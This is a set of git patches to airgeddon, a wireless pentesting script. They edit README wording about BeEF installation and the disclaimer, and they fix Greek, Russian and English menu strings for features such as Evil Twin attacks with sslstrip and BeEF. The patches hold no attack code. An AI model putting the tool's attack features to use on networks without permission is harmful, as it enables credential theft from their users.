Installation](https://github.com/beefproject/beef/wiki/Installation). + - If you use a distro which already comes with BeEF installed like Kali, BlackArch or Wifislax, you will have no problems. If you install BeEF manually, airgeddon is able to manage the integration asking you for the path where it's installed, even changing its own code in order to make updates-proof persistent changes. **Update tools**: <- *not necessary to work, only used for auto-update* @@ -102,7 +105,7 @@ We will enumerate the categories and tools. The command can be included in diffe | rfkill | rfkill | Is highly recommended to have the internal tools installed. They improve functionality and performance. For example, xdpyinfo allow the script to detect the desktop resolution in order to print windows in a better way (size and position). -Of course, the script also uses many standard basic commands that are understood to come with any Linux distro, so they are not checked (cp, rm, grep, pgrep, egrep, md5sum, uname, echo, hash, cat, sleep, etc...). +Of course, the script also uses many standard basic commands that are understood to come with any Linux distro, so they are not checked (cp, rm, grep, pgrep, egrep, md5sum, uname, echo, hash, cat, sed, etc.). #Known incompatibilities Impossible compatibility for Mac OSX at the moment. Some reasons:
@@ -155,7 +158,7 @@ airgeddon code is 100% clean of warnings. Use [Shellcheck](https://github.com/ko You can download the master version or the beta testing version from the development branch called `dev`. Sometimes there are other temporary branches for specific features that can be tested too. *For WPS PIN database collaborators:*
-The pins must be strictly ordered by key in the array. Keys are the first 6 bssid digits. After updating the "known_pins.db" file, you must update too "pindb_checksum.txt" with the calculated checksum of the database file. This checksum is done using md5sum tool. +The pins must be strictly ordered by key in the array. Keys are the first 6 bssid digits. After updating the "known_pins.db" file, you must update too "pindb_checksum.txt" with the calculated checksum of the database file. This checksum is calculated using md5sum tool. #Changelog See [Changelog](CHANGELOG.md) file to review changes. From 5d2ee284ce8a47c8c7350b3b0fac38acef6f74d2 Mon Sep 17 00:00:00 2001 From: OscarAkaElvis Date: Sun, 22 Jan 2017 14:42:55 +0100 Subject: [PATCH 41/55] Grammatical change on Readme.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index be43ca535..be789d15f 100644 --- a/README.md +++ b/README.md @@ -86,7 +86,7 @@ We will enumerate the categories and tools. The command can be included in diffe | beef | beef / beef-xss | // | unbuffer | expect / expect-dev | **Important tips about BeEF** - - The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, don't confuse with beef (Flexible Brainfuck interpreter). This package has the same name, same executable file name and can lead to confusion. Anyway, airgeddon is able to detect this and show you a warning if needed. Here is a link to the right BeEF installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). + - The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, don't confuse with beef (Flexible Brainfuck interpreter). This package has on some distros the same name, same executable file name and can lead into confusion. Anyway, airgeddon is able to detect this and show you a warning if needed. Here is a link to the right BeEF installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). - If you use a distro which already comes with BeEF installed like Kali, BlackArch or Wifislax, you will have no problems. If you install BeEF manually, airgeddon is able to manage the integration asking you for the path where it's installed, even changing its own code in order to make updates-proof persistent changes. **Update tools**: <- *not necessary to work, only used for auto-update* From 81c6f32d5a55646bcac4cc87a023a923186c24ce Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 22 Jan 2017 18:42:51 +0100 Subject: [PATCH 42/55] Changes in Disclaimer on Readme.md --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index be789d15f..13e198621 100644 --- a/README.md +++ b/README.md @@ -87,7 +87,7 @@ We will enumerate the categories and tools. The command can be included in diffe **Important tips about BeEF** - The beef software you must install is BeEF (Browser Exploitation Framework). Be careful, don't confuse with beef (Flexible Brainfuck interpreter). This package has on some distros the same name, same executable file name and can lead into confusion. Anyway, airgeddon is able to detect this and show you a warning if needed. Here is a link to the right BeEF installation's page: [BeEF Installation](https://github.com/beefproject/beef/wiki/Installation). - - If you use a distro which already comes with BeEF installed like Kali, BlackArch or Wifislax, you will have no problems. If you install BeEF manually, airgeddon is able to manage the integration asking you for the path where it's installed, even changing its own code in order to make updates-proof persistent changes. + - If you use a distro which already comes with BeEF installed like Kali, BlackArch or Wifislax, you will have no problems. If you install BeEF manually, airgeddon is able to manage the integration asking you for the path where it's installed, even modifying its own code in order to make updates-proof persistent changes. **Update tools**: <- *not necessary to work, only used for auto-update* @@ -119,8 +119,8 @@ Incompatible with OpenBSD and FreeBSD. They are Unix systems but they have some #Disclaimer & License This script must be used only for educational purposes and pentesting.
-Use it only on your own networks.
-We are not responsible of its use.
+Use it only on your own networks or with the network's owner appropriate permission during a penstest.
+airgeddon staff is not responsible of its use in any case.
This script is under GPLv3 (or later) [License](LICENSE.md). #Use From 6840e6ba43cb286680014afcd73b4f64e1b52bc8 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Mon, 23 Jan 2017 13:05:08 +0200 Subject: [PATCH 43/55] Updated Greek translations, corrected some grammar and previous translations. Pending more... --- airgeddon.sh | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7cede46bb..cef023a8b 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -365,7 +365,7 @@ function language_strings() { et_misc_texts["CATALAN",7]="Encara no hi han clients connectats" et_misc_texts["PORTUGUESE",7]="Ainda não há clientes conectados" et_misc_texts["RUSSIAN",7]="Клиенты ещё не подключены" - et_misc_texts["GREEK",7]="Ακόμα, κανένας συνδεδεμένος χρήστης" + et_misc_texts["GREEK",7]="Ακόμα κανένας συνδεδεμένος χρήστης" et_misc_texts["ENGLISH",8]="airgeddon. Evil Twin attack captured passwords" et_misc_texts["SPANISH",8]="airgeddon. Contraseñas capturadas en ataque Evil Twin" @@ -1118,7 +1118,7 @@ function language_strings() { arr["CATALAN",73]="airgeddon script v${airgeddon_version} desenvolupat per :" arr["PORTUGUESE",73]="Script airgeddon v${airgeddon_version} desenvolvido por :" arr["RUSSIAN",73]="скрипт airgeddon v${airgeddon_version} создал :" - arr["GREEK",73]="airgeddon script v${airgeddon_version} προγραμματίστηκε από :" + arr["GREEK",73]="Το airgeddon script v${airgeddon_version} προγραμματίστηκε από :" arr["ENGLISH",74]="This script is under GPLv3 (or later) License" arr["SPANISH",74]="Este script está bajo Licencia GPLv3 (o posterior)" @@ -3798,7 +3798,7 @@ function language_strings() { arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" - arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φαίνεται περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημά είναι ότι το script δεν το εντοπίζει" + arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -3848,13 +3848,13 @@ function language_strings() { arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" - arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it wasn't unable to locate the right directory path where you have BeEF installed. To know it has some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" + arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. To know it has some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",415]="${pending_of_translation} ${blue_color}airgeddon sabe que você instalou validação BeEF, mas não pôde especificar o caminho exato para o diretório onde você instalou BeEF. Sabendo a localização exacta tem algumas vantagens quando executá-lo desde a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",415]="${pending_of_translation} ${blue_color}airgeddon знает вас установлен BeEF и вы проходите проверку, но это было не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Для того, чтобы знать, что имеет некоторые преимущества для выполнения, так как его конфигурационный файл может быть изменен, а не общий характер. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" - arr["GREEK",415]="${pending_of_translation} ${blue_color}airgeddon ξέρει έχετε εγκατεστημένο το BeEF και να περάσει την επικύρωση, αλλά δεν ήταν σε θέση να εντοπίσει το σωστό δρόμο κατάλογο όπου έχετε εγκαταστήσει το BeEF σας. Να ξέρετε ότι έχει κάποια πλεονεκτήματα για την εκτέλεση επειδή αρχείο ρυθμίσεων του μπορεί να προσαρμοστεί αντί των γενόσημων. ${green_color}Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" + arr["GREEK",415]="${blue_color}Το airgeddon ξέρει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF σας.${pending_of_translation} Να ξέρετε ότι έχει κάποια πλεονεκτήματα για την εκτέλεση επειδή αρχείο ρυθμίσεων του μπορεί να προσαρμοστεί αντί των γενόσημων. ${green_color}Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" @@ -3862,7 +3862,7 @@ function language_strings() { arr["CATALAN",416]="${pending_of_translation} Pots executar BeEF, però és recomanable executar la segona opció del menú abans" arr["PORTUGUESE",416]="${pending_of_translation} Você pode executar BeEF, mas é recomendado para executar a segunda opção de menu antes" arr["RUSSIAN",416]="${pending_of_translation} Вы можете запустить BeEF, но это лучше, если вы запустите второй вариант перед" - arr["GREEK",416]="${pending_of_translation} Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα αν εκτελέσετε τη δεύτερη επιλογή πριν" + arr["GREEK",416]=" Μπορείτε να εκτελέσετε το BeEF, αλλά είναι καλύτερα να διαλέξετε τη δεύτερη επιλογή από πριν" case "${3}" in "yellow") From 900044cb349ec8b0b8a01f4c0ad2dd6bdd5d83a1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 23 Jan 2017 15:12:58 +0100 Subject: [PATCH 44/55] Changed english #415 string --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index cef023a8b..69ad4cc8f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3848,7 +3848,7 @@ function language_strings() { arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" - arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. To know it has some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" + arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it wasn't unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" From d0f1b6948672dbd82675251be6cd376eccbaaee6 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 23 Jan 2017 18:05:13 +0100 Subject: [PATCH 45/55] Grammar fix on #415 --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 69ad4cc8f..47ff92251 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3848,7 +3848,7 @@ function language_strings() { arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" - arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it wasn't unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" + arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}[y/n]" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}[y/n]" arr["FRENCH",415]="${pending_of_translation} ${blue_color}airgeddon sait que vous avez installé BeEF et les raisins secs validation, mais n'a pas pu indiquer le chemin exact du répertoire où vous avez installé BeEF. Connaître l'emplacement exact a certains avantages lors de l'exécution depuis la configuration sera personnalisée plutôt qu'une configuration générique. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" From ab83b63bfd08a6518655bd5900342402ace1a1dd Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Mon, 23 Jan 2017 20:14:36 +0200 Subject: [PATCH 46/55] Updated Greek translations --- airgeddon.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/airgeddon.sh b/airgeddon.sh index 47ff92251..9b85a816f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3854,7 +3854,7 @@ function language_strings() { arr["CATALAN",415]="${pending_of_translation} ${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",415]="${pending_of_translation} ${blue_color}airgeddon sabe que você instalou validação BeEF, mas não pôde especificar o caminho exato para o diretório onde você instalou BeEF. Sabendo a localização exacta tem algumas vantagens quando executá-lo desde a configuração será personalizada em vez de uma configuração genérica. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" arr["RUSSIAN",415]="${pending_of_translation} ${blue_color}airgeddon знает вас установлен BeEF и вы проходите проверку, но это было не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Для того, чтобы знать, что имеет некоторые преимущества для выполнения, так как его конфигурационный файл может быть изменен, а не общий характер. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" - arr["GREEK",415]="${blue_color}Το airgeddon ξέρει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF σας.${pending_of_translation} Να ξέρετε ότι έχει κάποια πλεονεκτήματα για την εκτέλεση επειδή αρχείο ρυθμίσεων του μπορεί να προσαρμοστεί αντί των γενόσημων. ${green_color}Θέλετε να το εισάγετε με το χέρι; ${normal_color}[y/n]" + arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" From f12e169908e34b5101644205d8ccc7c96fd8b4c6 Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Mon, 23 Jan 2017 22:00:13 +0300 Subject: [PATCH 47/55] Updating Russian translation --- airgeddon.sh | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 9b85a816f..434b21e45 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2061,7 +2061,7 @@ function language_strings() { arr["FRENCH",191]="${pending_of_translation} ${blue_color}airgeddon n'a pas pu trouver le chemin vers le répertoire où vous avez installé BeEF. ${green_color}Voulez-vous entrer manuellement? ${normal_color}[y/n]" arr["CATALAN",191]="${pending_of_translation} ${blue_color}airgeddon no ha pogut trobar la ruta del directori on tens instal·lat BeEF. ${green_color}¿Vols introduir-la manualment? ${normal_color}[y/n]" arr["PORTUGUESE",191]="${pending_of_translation} ${blue_color}airgeddon não conseguiu encontrar o caminho para o diretório onde você instalou BeEF. ${green_color}Você quer inseri-lo manualmente? ${normal_color}[y/n]" - arr["RUSSIAN",191]="${pending_of_translation} ${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите, чтобы ввести его вручную? ${normal_color}[y/n]" + arr["RUSSIAN",191]="${blue_color}airgeddon не может найти путь к каталогу, где вы установили BeEF. ${green_color}Вы хотите ввести его вручную? ${normal_color}[y/n]" arr["GREEK",191]="${blue_color}Το airgeddon δεν μπορεί να βρει το μονοπάτι για τον κατάλογο όπου έχετε εγκαταστημένο το BeEF. ${green_color}Θέλετε να το εισάγετε χειροκίνητα; ${normal_color}[y/n]" arr["ENGLISH",192]="You already have selected a BSSID during this session and is present in capture file [${normal_color}${bssid}${blue_color}]" @@ -3741,7 +3741,7 @@ function language_strings() { arr["FRENCH",401]="Le paquet beef installé n'est pas le bon: Vous avez installé Beef (Flexible Brainfuck interpreter) et vous devez installer BeEF (Browser Exploitation Framework). Les deux ont le même nom et peut induire en erreur. Désinstallez et installez la version dont airgeddon a besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" arr["CATALAN",401]="El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" - arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" + arr["RUSSIAN",401]="Установленный вами пакет beef не является пакетом BeEF (Browser Exploitation Framework). Вы установили Beef (Flexible Brainfuck interpreter). Оба исполнимых файла имеют одинаковое имя и могут вызвать путаницу. Если вы хотите использовать эту функцию, удалите его и установите тот, который требует airgeddon. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" @@ -3749,7 +3749,7 @@ function language_strings() { arr["FRENCH",402]="Entrez la route absolue vers le dossier où BeEF est installé :" arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" arr["PORTUGUESE",402]="${pending_of_translation} Digite o caminho absoluto do diretório onde BeEF está instalado :" - arr["RUSSIAN",402]="${pending_of_translation} Введите абсолютный путь к каталогу, в котором установлен BeEF :" + arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF :" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" arr["ENGLISH",403]="The directory you entered doesn't exist" @@ -3757,7 +3757,7 @@ function language_strings() { arr["FRENCH",403]="Le dossier indiqué n'existe pas" arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" arr["PORTUGUESE",403]="${pending_of_translation} O diretório digitado não existe" - arr["RUSSIAN",403]="${pending_of_translation} Каталог, который вы ввели, не существует" + arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" @@ -3765,7 +3765,7 @@ function language_strings() { arr["FRENCH",404]="La route saisie n'est pas absolue. Une route absolue doit toujours commencer par \"/\"" arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" arr["PORTUGUESE",404]="${pending_of_translation} O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" - arr["RUSSIAN",404]="${pending_of_translation} Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" + arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" arr["ENGLISH",405]="Checking BeEF..." @@ -3773,7 +3773,7 @@ function language_strings() { arr["FRENCH",405]="Vérification de BeEF..." arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." arr["PORTUGUESE",405]="${pending_of_translation} Verificando BeEF..." - arr["RUSSIAN",405]="${pending_of_translation} проверка BeEF..." + arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." arr["ENGLISH",406]="No BeEF executable was detected in given directory" @@ -3781,7 +3781,7 @@ function language_strings() { arr["FRENCH",406]="BeEF n'est pas présent dans le dossierque vous avez indiqué" arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" arr["PORTUGUESE",406]="${pending_of_translation} Não detectou um BeEF executável no diretório especificado" - arr["RUSSIAN",406]="${pending_of_translation} Ни один исполняемый файл BeEF не был обнаружен в заданной директории" + arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" arr["ENGLISH",407]="BeEF preparation" @@ -3789,7 +3789,7 @@ function language_strings() { arr["FRENCH",407]="${pending_of_translation} Préparation BeEF" arr["CATALAN",407]="${pending_of_translation} Preparació BeEF" arr["PORTUGUESE",407]="${pending_of_translation} Preparação BeEF" - arr["RUSSIAN",407]="${pending_of_translation} подготовка BeEF" + arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" @@ -3797,7 +3797,7 @@ function language_strings() { arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si BeEf est correctement instalé et c'est le script qui n'est pas capable de le détecter" arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" - arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. Она будет работать только если BeEF уже установлен правильно, и ваша единственная проблема, это скрипт не обнаруживает его" + arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF 